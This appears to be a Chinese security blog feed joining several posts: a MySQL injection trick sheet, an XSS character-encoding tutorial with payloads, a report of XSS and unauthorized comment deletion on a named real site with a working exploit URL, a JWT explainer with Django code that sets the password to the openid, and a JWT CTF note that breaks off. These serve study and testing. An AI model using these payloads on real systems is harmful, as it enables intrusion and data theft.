为什么Windows可用,Linux不行?这里涉及到一个叫UNC的知识点。简单的说,在Windows中,路径以\\
开头的路径在Windows中被定义为UNC路径,相当于网络硬盘一样的存在,所以我们填写域名的话,Windows会先进行DNS查询。但是对于Linux来说,并没有这一标准,所以DNSLOG在Linux环境不适用。注:payload里的四个\\\\
中的两个\
是用来进行转义处理的。
什么是二次注入?简单的说,就是攻击者构造的恶意payload首先会被服务器存储在数据库中,在之后取出数据库在进行SQL语句拼接时产生的SQL注入问题。
举个例子,某个查询当先登录的用户信息的SQL语句如下:
1 | select * from users where username='$_SESSION['username']' |
登录/注册处的SQL语句都经过了addslashes函数、单引号闭合的处理,且无编码产生的问题。
对于上述举的语句我们可以先注册一个名为admin' #
的用户名,因为在注册进行了单引号的转义,故我们并不能直接进行insert注入,最终将我们的用户名存储在了服务器中,注意:反斜杠转义掉了单引号,在mysql中得到的数据并没有反斜杠的存在。
在我们进行登录操作的时候,我们用注册的admin' #
登录系统,并将用户部分数据存储在对于的SESSION中,如$_SESSION['username']
。
上述的$_SESSION['username']
并没有经过处理,直接拼接到了SQL语句之中,就会造成SQL注入,最终的语句为:
1 | select * from users where username='admin' #' |
这种方法运用的情况比较极端一些,如布尔盲注时,字符截取/比较限制很严格。例子:
1 | select * from users where (select 'r' union select user() order by 1 limit 1)='r' |
如果能一眼看出原理的话就不需要继续看下去了。
实际上此处是利用了order by
语句的排序功能来进行判断的。若我们想要查询的数据开头的首字母在字母表的位值比我们判断的值要靠后,则limit
语句将不会让其输出,那么整个条件将会成立,否之不成立。
利用这种方法可以做到不需要使用like、rlike、regexp
等匹配语句以及字符操作函数。
再举个例子:
1 | select username,flag,password from users where username='$username;' |
页面回显的字段为:username与password,如何在union
与flag
两单词被拦截、无报错信息返回的情况下获取到用户名为admin
的flag值?
我们前边讲到了无列名注入,通过使用union
语句来对未知列名进行重命名的形式绕过,还讲过通过使用join using()
报错注入出列名。但现在,这两种方法都不可以的情况下该如何获取到flag字段的内容?
使用order by
可轻松盲注出答案。payload:
1 | select username,flag,password from users where username='admin' union select 1,'a',3 order by 2 |
与之前的原理相同,通过判断前后两个select语句返回的数据前后顺序来进行盲注。
单行注释 | 单行注释 | 单行注释 | 多行(内联)注释 |
---|---|---|---|
# | -- x //x为任意字符 | ;%00 | /*任意内容*/ |
运算符 | 说明 | 运算符 | 说明 |
---|---|---|---|
&& | 与,同and。 | 丨丨 | 或,同or。注:此处由于markdown语法限制,用中文符号代替显示。 |
! | 非,同not。 | ~ | 一元比特反转。 |
^ | 异或,同xor。 | + | 加,可替代空格,如select+user() 。 |
函数 | 说明 |
---|---|
USER() | 获取当前操作句柄的用户名,同SESSION_USER()、CURRENT_USER(),有时也用SYSTEM_USER()。 |
DATABASE() | 获取当前选择的数据库名,同SCHEMA()。 |
VERSION() | 获取当前版本信息。 |
函数 | 说明 |
---|---|
ORD(str) | 返回字符串第一个字符的ASCII值。 |
OCT(N) | 以字符串形式返回 N 的八进制数,N 是一个BIGINT 型数值,作用相当于CONV(N,10,8) 。 |
HEX(N_S) | 参数为字符串时,返回 N_or_S 的16进制字符串形式,为数字时,返回其16进制数形式。 |
UNHEX(str) | HEX(str) 的逆向函数。将参数中的每一对16进制数字都转换为10进制数字,然后再转换成 ASCII 码所对应的字符。 |
BIN(N) | 返回十进制数值 N 的二进制数值的字符串表现形式。 |
ASCII(str) | 同ORD(string) 。 |
CONV(N,from_base,to_base) | 将数值型参数 N 由初始进制 from_base 转换为目标进制 to_base 的形式并返回。 |
CHAR(N,… [USING charset_name]) | 将每一个参数 N 都解释为整数,返回由这些整数在 ASCII 码中所对应字符所组成的字符串。 |
函数 | 说明 |
---|---|
SUBSTR(str,N_start,N_length) | 对指定字符串进行截取,为SUBSTRING的简单版。 |
SUBSTRING() | 多种格式SUBSTRING(str,pos)、SUBSTRING(str FROM pos)、SUBSTRING(str,pos,len)、SUBSTRING(str FROM pos FOR len) 。 |
RIGHT(str,len) | 对指定字符串从最右边截取指定长度。 |
LEFT(str,len) | 对指定字符串从最左边截取指定长度。 |
RPAD(str,len,padstr) | 在 str 右方补齐 len 位的字符串 padstr ,返回新字符串。如果 str 长度大于 len ,则返回值的长度将缩减到 len 所指定的长度。 |
LPAD(str,len,padstr) | 与RPAD相似,在str 左边补齐。 |
MID(str,pos,len) | 同于 SUBSTRING(str,pos,len) 。 |
INSERT(str,pos,len,newstr) | 在原始字符串 str 中,将自左数第 pos 位开始,长度为 len 个字符的字符串替换为新字符串 newstr ,然后返回经过替换后的字符串。INSERT(str,len,1,0x0) 可当做截取函数。 |
CONCAT(str1,str2…) | 函数用于将多个字符串合并为一个字符串 |
GROUP_CONCAT(…) | 返回一个字符串结果,该结果由分组中的值连接组合而成。 |
MAKE_SET(bits,str1,str2,…) | 根据参数1,返回所输入其他的参数值。可用作布尔盲注,如:EXP(MAKE_SET((LENGTH(DATABASE())>8)+1,'1','710')) 。 |
变量 | 说明 | 变量 | 说明 |
---|---|---|---|
@@VERSION | 返回版本信息 | @@HOSTNAME | 返回安装的计算机名称 |
@@GLOBAL.VERSION | 同@@VERSION | @@BASEDIR | 返回MYSQL绝对路径 |
PS:查看全部全局变量SHOW GLOBAL VARIABLES;
。
函数/语句 | 说明 |
---|---|
LENGTH(str) | 返回字符串的长度。 |
PI() | 返回π的具体数值。 |
REGEXP “statement” | 正则匹配数据,返回值为布尔值。 |
LIKE “statement” | 匹配数据,%代表任意内容。返回值为布尔值。 |
RLIKE “statement” | 与regexp相同。 |
LOCATE(substr,str,[pos]) | 返回子字符串第一次出现的位置。 |
POSITION(substr IN str) | 等同于 LOCATE() 。 |
LOWER(str) | 将字符串的大写字母全部转成小写。同:LCASE(str) 。 |
UPPER(str) | 将字符串的小写字母全部转成大写。同:UCASE(str) 。 |
ELT(N,str1,str2,str3,…) | 与MAKE_SET(bit,str1,str2...) 类似,根据N 返回参数值。 |
NULLIF(expr1,expr2) | 若expr1与expr2相同,则返回expr1,否则返回NULL。 |
CHARSET(str) | 返回字符串使用的字符集。 |
DECODE(crypt_str,pass_str) | 使用 pass_str 作为密码,解密加密字符串 crypt_str。加密函数:ENCODE(str,pass_str) 。 |
什么是约束攻击?
仍然是先举个例子:
我们先通过下列语句建立一个用户表
1 | CREATE TABLE users( |
注册代码:
1 |
|
登录判断代码:
1 |
|
在无编码问题,且进行了单引号的处理情况下仍可能发生什么SQL注入问题呢?
我们注意到,前边创建表格的语句限制了username和password的长度最大为25,若我们插入数据超过25,MYSQL会怎样处理呢?答案是MYSQL会截取前边的25个字符进行插入。
而对于SELECT
查询请求,若查询的数据超过25长度,也不会进行截取操作,这就产生了一个问题。
通常对于注册处的代码来说,需要先判断注册的用户名是否存在,再进行插入数据操作。如我们注册一个username=admin[25个空格]x&password=123456
的账号,服务器会先查询admin[25个空格]x
的用户是否存在,若存在,则不能注册。若不存在,则进行插入数据的操作。而此处我们限制了username与password字段长度最大为25,所以我们实际插入的数据为username=admin[20个空格]&password=123456
。
接着进行登录的时,我们使用:username=admin&password=123456
进行登录,即可成功登录admin的账号。
防御:
简单的说,由于分号;
为MYSQL语句的结束符。若在支持多语句执行的情况下,可利用此方法执行其他恶意语句,如RENAME
、DROP
等。
注意,通常多语句执行时,若前条语句已返回数据,则之后的语句返回的数据通常无法返回前端页面。建议使用union联合注入,若无法使用联合注入, 可考虑使用RENAME
关键字,将想要的数据列名/表名更改成返回数据的SQL语句所定义的表/列名 。具体参考:2019强网杯——随便注Writeup
PHP中堆叠注入的支持情况:
Mysqli | PDO | MySQL | |
---|---|---|---|
引入的PHP版本 | 5.0 | 5.0 | 3.0之前 |
PHP5.x是否包含 | 是 | 是 | 是 |
多语句执行支持情况 | 是 | 大多数 | 否 |
mysql除可使用select查询表中的数据,也可使用handler语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中。
语法结构:
1 | HANDLER tbl_name OPEN [ [AS] alias] |
如:通过handler语句查询users表的内容
1 | handler users open as yunensec; #指定数据表进行载入并将返回句柄重命名 |
这里跟大家分享一些有意思的Trick,主要在一些CTF题出现,这里也把它记下来,方便复习。
/union.+?select/ig
绕过。在某些题目中,题目禁止union与select同时出现时,会用此正则来判断输入数据。
利用点:PHP正则回溯BUG
具体分析文章:PHP利用PCRE回溯次数限制绕过某些安全限制
PHP为了防止正则表达式的拒绝服务攻击(reDOS),给pcre设定了一个回溯次数上限
pcre.backtrack_limit
。若我们输入的数据使得PHP进行回溯且此数超过了规定的回溯上限此数(默认为 100万),那么正则停止,返回未匹配到数据。
故而我们构造payload:union/*100万个a,充当垃圾数据*/select
即可绕过正则判断。
一道相关的CTF题:TetCTF-2020 WP BY MrR3boot
前边提到了,在知道表名,不知道列名的情况下,我们可以利用union
来给未知列名“重命名”,还可以利用报错函数来注入出列名。现在,除了之前的order by
盲注之外,这里再提一种新的方法,直接通过select进行盲注。
核心payload:(select 'admin','admin')>(select * from users limit 1)
子查询之间也可以直接通过>、<、=
来进行判断。
即:UPDATA table_name set field1=new_value,field1=new_value2 [where]
,最终field1
字段的内容为new_value2
,可用这个特性来进行UPDATA注入。如:
1 | UPDATE table_name set field1=new_value,field1=(select user()) [where] |
我们都知道若注入点在where子语句之后,判断字段数可以用order by
或group by
来进行判断,而limit
后可以利用 into @,@
判断字段数,其中@为mysql临时变量。
1
2
3
4
5
6
7
8
9
10
11
12 #查询所有的库:
SELECT table_schema FROM sys.schema_table_statistics GROUP BY table_schema;
SELECT table_schema FROM sys.x$schema_flattened_keys GROUP BY table_schema;
#查询指定库的表(若无则说明此表从未被访问):
SELECT table_name FROM sys.schema_table_statistics WHERE table_schema='mspwd' GROUP BY table_name;
SELECT table_name FROM sys.x$schema_flattened_keys WHERE table_schema='mspwd' GROUP BY table_name;
#统计所有访问过的表次数:库名,表名,访问次数
select table_schema,table_name,sum(io_read_requests+io_write_requests) io from sys.schema_table_statistics group by table_schema,table_name order by io desc;
#查看所有正在连接的用户详细信息:连接的用户(连接的用户名,连接的ip),当前库,用户状态(Sleep就是空闲),现在在执行的sql语句,上一次执行的sql语句,已经建立连接的时间(秒)
SELECT user,db,command,current_statement,last_statement,time FROM sys.session;
#查看所有曾连接数据库的IP,总连接次数
SELECT host,total_connections FROM sys.host_summary;节选自:Mysql的奇淫技巧(黑科技)
视图->列名 | 说明 |
---|---|
host_summary -> host、total_connections | 历史连接IP、对应IP的连接次数 |
innodb_buffer_stats_by_schema -> object_schema | 库名 |
innodb_buffer_stats_by_table -> object_schema、object_name | 库名、表名(可指定) |
io_global_by_file_by_bytes -> file | 路径中包含库名 |
io_global_by_file_by_latency -> file | 路径中包含库名 |
processlist -> current_statement、last_statement | 当前数据库正在执行的语句、该句柄执行的上一条语句 |
schema_auto_increment_columns -> table_schema、table_name、column_name | 库名、表名、列名 |
schema_index_statistics -> table_schema、table_name | 库名、表名 |
schema_object_overview -> db | 库名 |
schema_table_statistics -> table_schema、table_name | 库名、表名 |
schema_table_statistics_with_buffer -> table_schema、table_name | 库名、表名 |
schema_tables_with_full_table_scans -> object_schema、object_name | 库名、表名(全面扫描访问) |
session -> current_statement、last_statement | 当前数据库正在执行的语句、该句柄执行的上一条语句 |
statement_analysis -> query、db | 数据库最近执行的请求、对于请求访问的数据库名 |
statements_with_* -> query、db | 数据库最近执行的特殊情况的请求、对应请求的数据库 |
version -> mysql_version | mysql版本信息 |
x$innodb_buffer_stats_by_schema | 同innodb_buffer_stats_by_schema |
x$innodb_buffer_stats_by_table | 同innodb_buffer_stats_by_table |
x$io_global_by_file_by_bytes | 同io_global_by_file_by_bytes |
…… | 同…… |
x$schema_flattened_keys -> table_schema、table_name、index_columns | 库名、表名、主键名 |
x$ps_schema_table_statistics_io -> table_schema、table_name、count_read | 库名、表名、读取该表的次数 |
差点忘了,还有mysql数据库也可以查询表名、库名。
1 | select table_name from mysql.innodb_table_stats where database_name=database(); |
可能记得东西有点多导致很多内容都是精简过后的知识,其实本文可以当做字典一样来使用,可能讲得不是很细致,但是却方便我们进行复习,回想起脑海中的知识。文章花费了大量的笔墨在记录许多与Mysql注入相关的Trick,故而可能会显得比较杂乱,没有得到一个比较好的整理,可能对于不太了解Mysql注入的同学不太友好,望谅解。
之前在学习XSS的时候总感觉不是很系统,许多技巧背后原理都没有理解,光是会用罢了,如部分绕过编码技巧。
今天打算花时间来补补基础。
部分具有特定名称的字符实体
而对于其他没有特定名称的实体来说:
注意:字符实体解码后得到的值为字符串型,HTML解析器只将其当做字符串文本处理。
共有5种元素:空元素、原始文本元素、RCDATA元素、外来元素以及常规元素。
原始文本、RCDATA以及常规元素都有一个开始标签来表示开始,一个结束标签来表示结束。某些元素的开始和结束标签是可以省略的,如果规定标签不能被省略,那么就绝对不能省略它。空元素只有一个开始标签,且不能为空元素设置结束标签。外来元素可以有一个开始标签和配对的结束标签,或者只有一个自闭合的开始标签,且后者情况下该元素不能有结束标签。
空元素不能有任何内容(因为空元素没有结束标签,自然没办法在开始标签和结束标签之间放内容)。
原始文本元素只可以包含文本
RCDATA元素可以包含文本和字符引用,但是文本中不能包含意义不明的符号。
对于外来元素,当开始标签自闭合时,不能包含任何内容(因为没有结束标签,所以不能在开始标签和结束标签之间放内容)。当开始标签不自闭合时,其内容可以包含文本、字符引用、CDATA块、其他元素和注释,但是文本不能包含编码为U+003C的小于符号(<)或者意义不明的符号。
先逐行加载页面,并将引用的外部文件下载下来->接着逐行解析页面,解析一部分后会将已解析的部分进行渲染,实现边解析边渲染。
一个HTML解析器作为一个状态机,它从输入流中获取字符并按照转换规则转换到另一种状态。在解析过程中,任何时候它只要遇到一个’<’符号(后面没有跟’/‘符号)就会进入”标签开始状态(Tag open state)”。然后转变到”标签名状态(Tag name state)”,”前属性名状态(before attribute name state)”……最后进入”数据状态(Data state)” 并释放当前标签的token。当解析器处于”数据状态(Data state)”时,它会继续解析,每当发现一个完整的标签,就会释放出一个token。
<a href="http://www.0x002.com">0x002</a>
范围:<a href="http://www.0x002.com">
DataState:碰到<
,进入TagOpenState状态
TagOpenState:碰到a
,进入TagNameState状态(HTMLToken的type为StartTag)
TagNameState:碰到空格,进入BeforeAttributeNameState状态(HTMLToken的m_data为a)
BeforeAttributeNameState:碰到h
,进入AttributeNameState状态
AttributeNameState:碰到=
,进入BeforeAttributeValueState状态(HTMLToken属性列表中加入一个属性,属性名为href)
BeforeAttributeValueState: 碰到"
,进入AttributeValueDoubleQuotedState状态
AttributeValueDoubleQuotedState:碰到b
,保持状态,提取属性值
AttributeValueDoubleQuotedState:碰到"
,进入AfterAttributeValueQuotedState(HTMLToken当前属性的值为http://www.0x002.com).
AfterAttributeValueQuotedState: 碰到>
,进入DataState,完成解析。
在完成startTag的解析的时候,会在解析器中存储与之匹配的end标签(m_appropriateEndTagName),等到解析end标签的时候,会同它进行匹配(语法解析的时候)。
html,body起始标签类似a起始标签,但没有属性解析
DataState:0x002,碰到0
,维持原状态,提取元素内容(HTMLToken的type为character)。
DataState:0x002,碰到<
,完成解析,不consume’<’。(HTMLToken的m_data为w3c)。
DataState:0x002,碰到<
,进入TagOpenState。
TagOpenState:0x002,碰到/
,进入到EndTagOpenState。(HTMLToken的type为endTag)。
EndTagOpenState:0x002,碰到a
,进入到TagNameState。
TagNameState:0x002,碰到>
,进入到DataState,完成解析。
这部分设计到状态机的知识,与解析原理有关。
为什么要讲这部分呢?因为他与接下来要讲的XSS载荷字符实体编码有关。
HTML解析器,部分标签在完成解析时,会按照节点类型、节点属性等生成不同的解析器去完成接下来的工作。
如a标签的href属性,HTML解析器会生成一个Url解析器去解析里边的内容。
对于<script>
,HTML解析器生成JS解析器去执行标签内容,执行时HTML解析器阻塞、渲染阻塞,等待执行完毕后恢复。
解码操作在HTML解析器中。
有三种情况可以容纳字符实体,”数据状态中的字符引用”,”RCDATA状态中的字符引用”和”属性值状态中的字符引用”。在这些状态中HTML字符实体将会从&#...
形式解码,对应的解码字符会被放入数据缓冲区中。例如,在问题4中,”<”和”>”字符被编码为<
和>
。当解析器解析完<div>
并处于”数据状态”时,这两个字符将会被解析。当解析器遇到&
字符,它会知道这是”数据状态的字符引用”,因此会消耗一个字符引用(例如”<”)并释放出对应字符的token。在这个例子中,对应字符指的是<
和>
。读者可能会想:这是不是意味着<
和>
的token将会被理解为标签的开始和结束,然后其中的脚本会被执行?答案是脚本并不会被执行。原因是解析器在解析这个字符引用后不会转换到”标签开始状态”。正因为如此,就不会建立新标签。因此,我们能够利用字符实体编码这个行为来转义用户输入的数据从而确保用户输入的数据只能被解析成”数据”。
简单的说,字符实体编码仅在下列几种情况适用:
<script>
): <>[在这]</>
<textarea>、<title>
):<>[在这]</>
<xx xx="[在这]">(</xx>)
解码操作在URL解析器中
例子:
对于<a href="javascript:alert%281%29"></a>
来说:HTML解析后,把javascript:alert(1)
发送给URL解析器,此时URL解析器会先寻找:
冒号,以确定该内容的协议。如未找到或无法确定,则默认为http协议,本例中为javascript协议。Url解析器会将协议冒号后边(若无冒号或无法确定协议,则解码的群体为全部内容)的字符全部进行一次url解码,即对alert%281%29进行URL解码,得到alert(1)。
解码操作在Javascript解析器中
JS解析器支持对标识符进行Unicode编码。什么是标识符?简单的说,标识符包括了函数名、字符串常量。主要看编码的字符是构成哪个部分的字符,如:
1 | <script> |
对于该例来说,alert(属于函数名部分,是标识符)可进行部分或全部的Unicode编码,xss(属于字符串常量,是标识符)也可进行全部/部分Unicode编码。换句话说,经Unicode解码后的内容只能构成函数名和字符串。
1 | 1. <a href="%6a%61%76%61%73%63%72%69%70%74:%61%6c%65%72%74%28%31%29"></a> |
载荷1:
HTML解析器解析a标签,将属性href的内容:%6a%61%76%61%73%63%72%69%70%74:%61%6c%65%72%74%28%31%29
发送给URL编码器,URL编码器找到:的位置,但%6a%61%76%61%73%63%72%69%70%74协议不存在,故无法确定协议,默认为http协议。对整个内容进行url解码,得:javascript:alert(1),最终的结果相当于
载荷2:
HTML解析器在解析a标签,发现属性href的值内存在字符编码,将其转码为:javascript:%61%6c%65%72%74%28%32%29,将结果发送给URL解析器,URL解析器寻找:出现的位置,判断其协议,并将:后边内容进行URL转码,得到:alert(2),由于是javascript协议,URL解析器将内容发送给JS解析器。载荷有效
载荷3:
同载荷1,由于找不到:,URL转码器按照默认http协议进行。结果相当于<a href="http://javascript:alert(3)"></a>
载荷4:
div属于常见元素中的一个,字符实体可以被成功解码,不过此时得到的是字符串型的数据,无法构成标签。
即:<div><img src=x onerror=alert(4)></div>
中,=所代表的<
转码后得到的值为字符串型,无法被HTML解析器解析成构成的标签起始位的<
。若是<div><img src=x onerror=alert(4)></div>
的话是可以被成功解析的。
载荷5:
Textarea属于RCDATA元素,无法执行js脚本,虽支持实体字符编码,但此时得到的值为字符串型,也不能被解析,但可正常显示。
载荷6:
Textarea属于RCDATA元素,无法执行js脚本。
载荷7:
经HTML解析器解析,属性onclick的值confirm('7');
被Unicode解码得:confirm('7');
由于是事件型属性,HTML编码器直接发送confirm('7');
给JS解析器,载荷有效。
载荷8:
经HTML解析器解析,属性onclick的值 confirm('8\u0027);
由于是事件型属性,HTML编码器直接发送confirm('8\u0027);
给JS解析器,虽JS解析器支持Unicode解码,但该字符不为标识符(函数名/字符串常量),载荷无效。
载荷9:
script标签属于原始文本元素,不支持字符实体编码。载荷无效。
载荷10:
script标签属于原始文本元素,HTML解析器直接将内容发送给JS解析器,JS解析器支持Unicode编码,且此处\u0061\u006c\u0065\u0072\u0074(10);
为alert(10)
,属于函数名,满足标识符限制,故可解码得到alert(10)
。载荷有效。
载荷11:
\u0028\u0031\u0031\u0029
解码后不属于标识符,载荷无效。
载荷12:
\u0031\u0032
解码后为整数型数字,不属于标识符,载荷无效。
载荷13:
同11
载荷14:
14\u000a
解码后,属于字符串型,属于标识符,载荷有效。
载荷15:
1 | javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(15) |
经HTML实体解码得:1
javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(15)
经URL解码得:1
javascript:\u0061\u006c\u0065\u0072\u0074(15)
经Unicode解码得:alert(15)
,载荷有效。
我们知道HTML解析器,在解析时会去掉一些干扰字符,如换行符、回车键、跳格键t等,故我们可以使用这个特性来绕开部分Filter
例子:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15<iframe
src
=
"
j
avas
cript
:
aler
t
(
1)
"
>
</iframe>
先简单的介绍一下自己,Yunen,重庆大学大二信安在读生,是回形针paperclip的粉丝,对网络安全方面感兴趣,这次看到了回形针弄了自己的科普网站,打算利用自己的知识,给予回形针一点点小帮助:)
使用特殊单词test123
,先查看页面的输出点:
可以看到页面有5个输出点,先把每个输出点都看一下:
发现输出点全部被引号给包围了起来,我们尝试跳出引号的限制。
首先尝试"
双引号。发现全部的输出点都进行了转码的处理(其中form表单转成utf-8
编码,其他均为html实体编码)
接着尝试'
单引号,发现在此处,单引号可以成功跳出限制。
通过查看网页的源代码可知:此处对于href属性的限制使用的是单引号。
接下来就可以很容易的构造利用的payload:
1 | https://ipaperclip.net/doku.php?do=search&id=start&sf=1&q=test1%27%3E%3Cimg%20src=x%20onerror=alert(1)%3E%3Cimg%3E%3Cp |
通过查看网页源代码知道:此处甚至没有使用引号进行包围:
不过此处可被利用的前提是:搜索的结果不为空。
因为只有这样,页面才会有跳转表单的代码。
估计只有等回形针做了关于web安全的科普才有可能得以利用得上。
PS:我在编辑指南之中疑似看到了可以插入html代码,不过我并没有进行测试。
1)疑似可控制只读页面上传文件(未进行尝试):
1 | https://ipaperclip.net/lib/exe/mediamanager.php?ns=wiki::%E5%A6%82%E4%BD%95%E6%AD%A3%E7%A1%AE%E7%BC%96%E8%BE%91%E4%B8%80%E4%B8%AA%E6%9D%A1%E7%9B%AE&edid=wiki__text |
2)越权删除他人评论
这里选择一条删除不影响的评论作为演示
右键审查元素查看回复按钮的源代码,可获取其对应的cid
。
抓取删除自己评论的数据包,并将其替换发送。
成功删除(注意发表时间):
由于时间关系,这里只测试了一个比较新的公开漏洞。其他请自测:)
此次测试花费一个小时左右,由于网站的用户交互处并不多,且原站点程序相对比较成熟,故对于黑盒测试来说,可以进行测试的点其实并不是很多,再加上我个人能力有限,只找到了这些BUG。最后,祝回形针PaperClip越办越好。
]]>JWT,全称Json Web Token,用于作为JSON对象在各方之间安全地传输信息。该信息可以被验证和信任,因为它是数字签名的。
一、Session是在服务器端的,而JWT是在客户端的,这点很重要。
二、流程不同:
JWT 的原理是,服务器认证以后,生成一个 JSON 对象,发回给用户,就像下面这样。1
2
3
4
5{
"姓名": "张三",
"角色": "管理员",
"到期时间": "2018年7月1日0点0分"
}
以后,用户与服务端通信的时候,都要发回这个 JSON 对象。服务器完全只靠这个对象认定用户身份。为了防止用户篡改数据,服务器在生成这个对象的时候,会加上签名(详见后文)。
服务器就不保存任何 session 数据了,也就是说,服务器变成无状态了,从而比较容易实现扩展。
实际的 JWT 大概就像下面这样。
它是一个很长的字符串,中间用点(.
)分隔成三个部分。注意,JWT 内部是没有换行的,这里只是为了便于展示,将它写成了几行。
JWT 的三个部分依次如下。
Header 部分是一个 JSON 对象,描述 JWT 的元数据,通常是下面的样子。
1 | { |
上面代码中,alg属性表示签名的算法(algorithm),默认是 HMAC SHA256(写成 HS256);typ属性表示这个令牌(token)的类型(type),JWT 令牌统一写为JWT。
最后,将上面的 JSON 对象使用 Base64URL 算法(详见后文)转成字符串。
Payload 部分也是一个 JSON 对象,用来存放实际需要传递的数据。JWT 规定了7个官方字段,供选用。
除了官方字段,你还可以在这个部分定义私有字段,下面就是一个例子。
1 | { |
注意,JWT 默认是不加密的,任何人都可以读到,所以不要把秘密信息放在这个部分。
这个 JSON 对象也要使用 Base64URL 算法转成字符串。
Signature 部分是对前两部分的签名,防止数据篡改。
首先,需要指定一个密钥(secret)。这个密钥只有服务器才知道,不能泄露给用户。然后,使用 Header 里面指定的签名算法(默认是 HMAC SHA256),按照下面的公式产生签名。
1 | HMACSHA256( |
算出签名以后,把 Header、Payload、Signature 三个部分拼成一个字符串,每个部分之间用”点”(.)分隔,就可以返回给用户。
前面提到,Header 和 Payload 串型化的算法是 Base64URL。这个算法跟 Base64 算法基本类似,但有一些小的不同。
JWT 作为一个令牌(token),有些场合可能会放到 URL(比如 api.example.com/?token=xxx
)。Base64 有三个字符+、/和=,在 URL 里面有特殊含义,所以要被替换掉:=被省略、+替换成-,/替换成_ 。这就是 Base64URL 算法。
客户端收到服务器返回的 JWT,可以储存在 Cookie 里面,也可以储存在 localStorage。
此后,客户端每次与服务器通信,都要带上这个 JWT。你可以把它放在 Cookie 里面自动发送,但是这样不能跨域,所以更好的做法是放在 HTTP 请求的头信息Authorization字段里面。1
Authorization: Bearer <token>
另一种做法是,跨域的时候,JWT 就放在 POST 请求的数据体里面。
(1)JWT 默认是不加密,但也是可以加密的。生成原始 Token 以后,可以用密钥再加密一次。
(2)JWT 不加密的情况下,不能将秘密数据写入 JWT。
(3)JWT 不仅可以用于认证,也可以用于交换信息。有效使用 JWT,可以降低服务器查询数据库的次数。
(4)JWT 的最大缺点是,由于服务器不保存 session 状态,因此无法在使用过程中废止某个 token,或者更改 token 的权限。也就是说,一旦 JWT 签发了,在到期之前就会始终有效,除非服务器部署额外的逻辑。
(5)JWT 本身包含了认证信息,一旦泄露,任何人都可以获得该令牌的所有权限。为了减少盗用,JWT 的有效期应该设置得比较短。对于一些比较重要的权限,使用时应该再次对用户进行认证。
(6)为了减少盗用,JWT 不应该使用 HTTP 协议明码传输,要使用 HTTPS 协议传输。
以上主要内容转载于廖雪峰的网络日志
网上目前已经有了一些文章来说明了,可是我在查阅的时候发现大多讲得不是很清楚。
通过之前的内容铺垫,相信读者对于JWT都有了一定的了解,总的来说,便是JWT是保存在用户端的Token机制。
需要注意的是:JWT默认是无加密的,只是使用了一层Base64编码,所以我们不能将重要信息,如密码等放入header和payload字段中。
对于Django来说,这里我们使用djangorestframework-jwt库
安装命令:1
pip install djangorestframework-jwt
注意djangorestframework-jwt库默认将settings里的SECRET_KEY
当中jwt加密秘钥。
首先我们先去我们的project下的settings文件内设置jwt库的一些参数1
2
3
4
5
6
7
8
9
10
11
12
13import datetime
# 在末尾添加上
REST_FRAMEWORK = {
'DEFAULT_AUTHENTICATION_CLASSES': (
'rest_framework_jwt.authentication.JSONWebTokenAuthentication',# JWT认证,在前面的认证方案优先
'rest_framework.authentication.SessionAuthentication',
'rest_framework.authentication.BasicAuthentication',
),
}
JWT_AUTH = {
'JWT_EXPIRATION_DELTA': datetime.timedelta(days=1), #JWT_EXPIRATION_DELTA 指明token的有效期
}
登录函数的实现:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62'''
登录函数:
'''
def get_user_info_func(user_code):
api_url = 'https://api.weixin.qq.com/sns/jscode2session?appid={0}&secret={1}&js_code={2}&grant_type=authorization_code'
get_url = api_url.format(App_id,App_secret,user_code)
r = requests.get(get_url)
return r.json()
def user_login_func(request):
try:
user_code = request.POST.get('user_code')
print(user_code)
if user_code == None:
print(request.body)
json_data = json.loads(request.body)
user_code = json_data['user_code']
print(user_code)
except:
return JsonResponse({'status':500,'error':'请输入完整数据'})
try:
json_data = get_user_info_func(user_code)
#json_data = {'errcode':0,'openid':'111','session_key':'test'}
if 'errcode' in json_data:
return JsonResponse({'status': 500, 'error': '验证错误:' + json_data['errmsg']})
res = login_or_create_account(json_data)
return JsonResponse(res)
except:
return JsonResponse({'status':500,'error':'无法与微信验证端连接'})
def login_or_create_account(json_data):
openid = json_data['openid']
session_key = json_data['session_key']
try:
user = User.objects.get(username=openid)
except:
user = User.objects.create(
username=openid,
password=openid,
)
user.session_key = session_key
user.save()
try:
jwt_payload_handler = api_settings.JWT_PAYLOAD_HANDLER
jwt_encode_handler = api_settings.JWT_ENCODE_HANDLER
payload = jwt_payload_handler(user)
token = jwt_encode_handler(payload)
res = {
'status': 200,
'token': token
}
except:
res = {
'status': 500,
'error': 'jwt验证失败'
}
return res
视图函数:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39'''
视图样例:
'''
from django.http import JsonResponse
from account.models import *
from rest_framework_jwt.views import APIView
from rest_framework import authentication
from rest_framework.permissions import IsAuthenticated
from rest_framework_jwt.authentication import JSONWebTokenAuthentication
from rest_framework import permissions
class IsOwnerOrReadOnly(permissions.BasePermission):
def has_object_permission(self, request, view, obj):
if request.method in ['GET','POST']:
return True
return obj.user == request.user
class test_view(APIView):
http_method_names = ['post'] #限制api的访问方式
authentication_classes = (authentication.SessionAuthentication,JSONWebTokenAuthentication)
permission_classes = (IsAuthenticated,IsOwnerOrReadOnly) #权限管理
def post(self,request): #视图函数
user = request.user.username
U = User.objects.get(username=user)
json_data = json.loads(request.body)
try:
test = json_data['']
except:
return JsonResponse({'status':500,'errmsg':'参数不全'})
try:
U.sex = sex
U.weight = weight
U.height = height
U.save()
except:
return JsonResponse({'status': 500, 'errmsg': '数据库错误'})
return JsonResponse({'status':200})
urls.py:1
2
3
4
5urlpatterns = [
re_path('^$', index),
re_path('^login$',login), # 登录
re_path('^test$',test_view.as_view())
]
题目:2019ISCC Web6
解题关键:
改题的加密方式为:RS256,是一种非对称加密,分有公钥和私钥。
其中:
